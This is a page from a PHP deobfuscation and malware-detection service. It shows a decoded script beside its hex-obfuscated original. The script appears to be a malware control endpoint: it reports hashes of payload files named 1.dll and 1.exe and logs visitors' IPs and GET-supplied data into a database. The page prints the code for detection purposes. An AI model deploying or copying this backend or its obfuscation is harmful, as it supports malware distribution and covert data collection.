Decoded Output
Download<?php ${"GLOBALS"}["xnqxhsxpudg"]="ip";${"GLOBALS"}["txpvsgrj"]="content";${"GLOBALS"}["wuiplhhjoevg"]="size";${"GLOBALS"}["ifkbhdifvh"]="file";${${"GLOBALS"}["ifkbhdifvh"]}=$_GET[f];${${"GLOBALS"}["wuiplhhjoevg"]}=$_GET[s];${${"GLOBALS"}["txpvsgrj"]}=$_GET[t];if(file_exists("1.dll")){echo md5_file("1.dll").PHP_EOL;}else{echo"0".PHP_EOL;}if(file_exists("1.exe")){echo md5_file("1.exe");}else{echo"0";}echo PHP_EOL."0";function getip(){if(!empty($_SERVER["HTTP_CLIENT_IP"])){return$_SERVER["HTTP_CLIENT_IP"];}elseif(!empty($_SERVER["HTTP_X_FORWARDED_FOR"])){return$_SERVER["HTTP_X_FORWARDED_FOR"];}else{if(!empty($_SERVER["REMOTE_ADDR"])){return$_SERVER["REMOTE_ADDR"];}else{return"127.0.0.1";}}}if(strlen(${${"GLOBALS"}["ifkbhdifvh"]})>2){require("conn.php");${"GLOBALS"}["cfhiqxqfspsu"]="date";${"GLOBALS"}["jgxevba"]="stmt";$ppcomqjkqdc="date";$ffadwlpgwf="ip";${$ffadwlpgwf}=getip();${${"GLOBALS"}["jgxevba"]}=$db->prepare("INSERT INTO podmlist (time,ip,file,size,content) VALUES (:time,:ip,:file,:size,:content)");${$ppcomqjkqdc}=date("Y-m-d H:i:s");$stmt->bindParam(":time",${${"GLOBALS"}["cfhiqxqfspsu"]},PDO::PARAM_STR);$stmt->bindParam(":ip",${${"GLOBALS"}["xnqxhsxpudg"]},PDO::PARAM_STR);$stmt->bindParam(":file",${${"GLOBALS"}["ifkbhdifvh"]},PDO::PARAM_STR);$stmt->bindParam(":size",${${"GLOBALS"}["wuiplhhjoevg"]},PDO::PARAM_STR);$stmt->bindParam(":content",${${"GLOBALS"}["txpvsgrj"]},PDO::PARAM_STR);$stmt->execute();}
?>
Did this file decode correctly?
How would you describe this file?
Thank you for your feedback! This will help us detect malicious PHP files more accurately in the future.
Function Calls
None
Variables
| GLOBALS | [{'key': 'xnqxhsxpudg', 'value': 'ip'}, {'key': 'txpvsgrj', 'value': 'content'}, {'key': 'wuiplhhjoevg', 'value': 'size'}, {'key': 'ifkbhdifvh', 'value': 'file'}] |
|---|
Stats
| MD5 | 506d57ade198ffa0 |
|---|---|
| Eval Count | 0 |
| Decode Time | 104 ms |
Original Code
<?php ${"G\x4cO\x42AL\x53"}["\x78\x6e\x71xh\x73\x78\x70\x75dg"]="\x69p";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["txp\x76\x73\x67\x72j"]="\x63\x6f\x6e\x74\x65\x6e\x74";${"\x47\x4c\x4fBA\x4c\x53"}["wuip\x6chhj\x6f\x65\x76\x67"]="si\x7ae";${"G\x4c\x4fBA\x4cS"}["\x69\x66\x6b\x62h\x64\x69\x66\x76\x68"]="fi\x6c\x65";${${"\x47\x4c\x4f\x42\x41LS"}["\x69\x66\x6bbh\x64\x69f\x76\x68"]}=$_GET[f];${${"\x47L\x4fB\x41\x4cS"}["w\x75\x69plh\x68j\x6f\x65\x76\x67"]}=$_GET[s];${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x74x\x70v\x73\x67\x72\x6a"]}=$_GET[t];if(file_exists("\x31.\x64l\x6c")){echo md5_file("\x31.dl\x6c").PHP_EOL;}else{echo"0".PHP_EOL;}if(file_exists("\x31\x2e\x65xe")){echo md5_file("\x31\x2e\x65\x78\x65");}else{echo"\x30";}echo PHP_EOL."0";function getip(){if(!empty($_SERVER["\x48T\x54\x50_C\x4cI\x45NT_\x49P"])){return$_SERVER["\x48T\x54P\x5f\x43L\x49EN\x54_\x49\x50"];}elseif(!empty($_SERVER["H\x54\x54P_X\x5f\x46\x4fRWA\x52\x44E\x44\x5fF\x4fR"])){return$_SERVER["\x48\x54\x54\x50_\x58_F\x4f\x52\x57A\x52\x44\x45D\x5f\x46\x4f\x52"];}else{if(!empty($_SERVER["R\x45MOTE\x5fADDR"])){return$_SERVER["\x52\x45M\x4f\x54\x45_ADDR"];}else{return"1\x327\x2e\x30.0\x2e1";}}}if(strlen(${${"\x47L\x4fBA\x4c\x53"}["i\x66k\x62\x68d\x69\x66\x76h"]})>2){require("co\x6e\x6e\x2eph\x70");${"\x47\x4cO\x42\x41\x4cS"}["c\x66hi\x71\x78\x71f\x73\x70\x73\x75"]="\x64\x61\x74e";${"\x47L\x4fB\x41L\x53"}["jgx\x65\x76\x62\x61"]="\x73t\x6dt";$ppcomqjkqdc="\x64\x61\x74\x65";$ffadwlpgwf="i\x70";${$ffadwlpgwf}=getip();${${"G\x4cO\x42A\x4c\x53"}["\x6a\x67xe\x76\x62\x61"]}=$db->prepare("\x49\x4eS\x45\x52\x54\x20\x49\x4e\x54\x4f p\x6fdml\x69\x73t\x20(\x74\x69\x6d\x65,i\x70,f\x69le,\x73\x69\x7ae,c\x6f\x6et\x65nt)\x20V\x41L\x55\x45\x53\x20(:\x74\x69m\x65,:i\x70,:fil\x65,:\x73i\x7ae,:\x63o\x6eten\x74)");${$ppcomqjkqdc}=date("\x59-m-d \x48:i:\x73");$stmt->bindParam(":t\x69\x6de",${${"\x47LO\x42A\x4c\x53"}["\x63\x66\x68iq\x78\x71\x66sp\x73\x75"]},PDO::PARAM_STR);$stmt->bindParam(":ip",${${"\x47\x4cOB\x41\x4cS"}["\x78\x6e\x71xh\x73\x78\x70\x75\x64g"]},PDO::PARAM_STR);$stmt->bindParam(":\x66i\x6c\x65",${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x69fkb\x68d\x69\x66\x76\x68"]},PDO::PARAM_STR);$stmt->bindParam(":\x73\x69\x7ae",${${"\x47LO\x42AL\x53"}["\x77\x75\x69\x70\x6c\x68\x68\x6a\x6f\x65\x76\x67"]},PDO::PARAM_STR);$stmt->bindParam(":\x63\x6fnt\x65\x6e\x74",${${"G\x4cO\x42\x41L\x53"}["\x74x\x70vs\x67rj"]},PDO::PARAM_STR);$stmt->execute();}
?>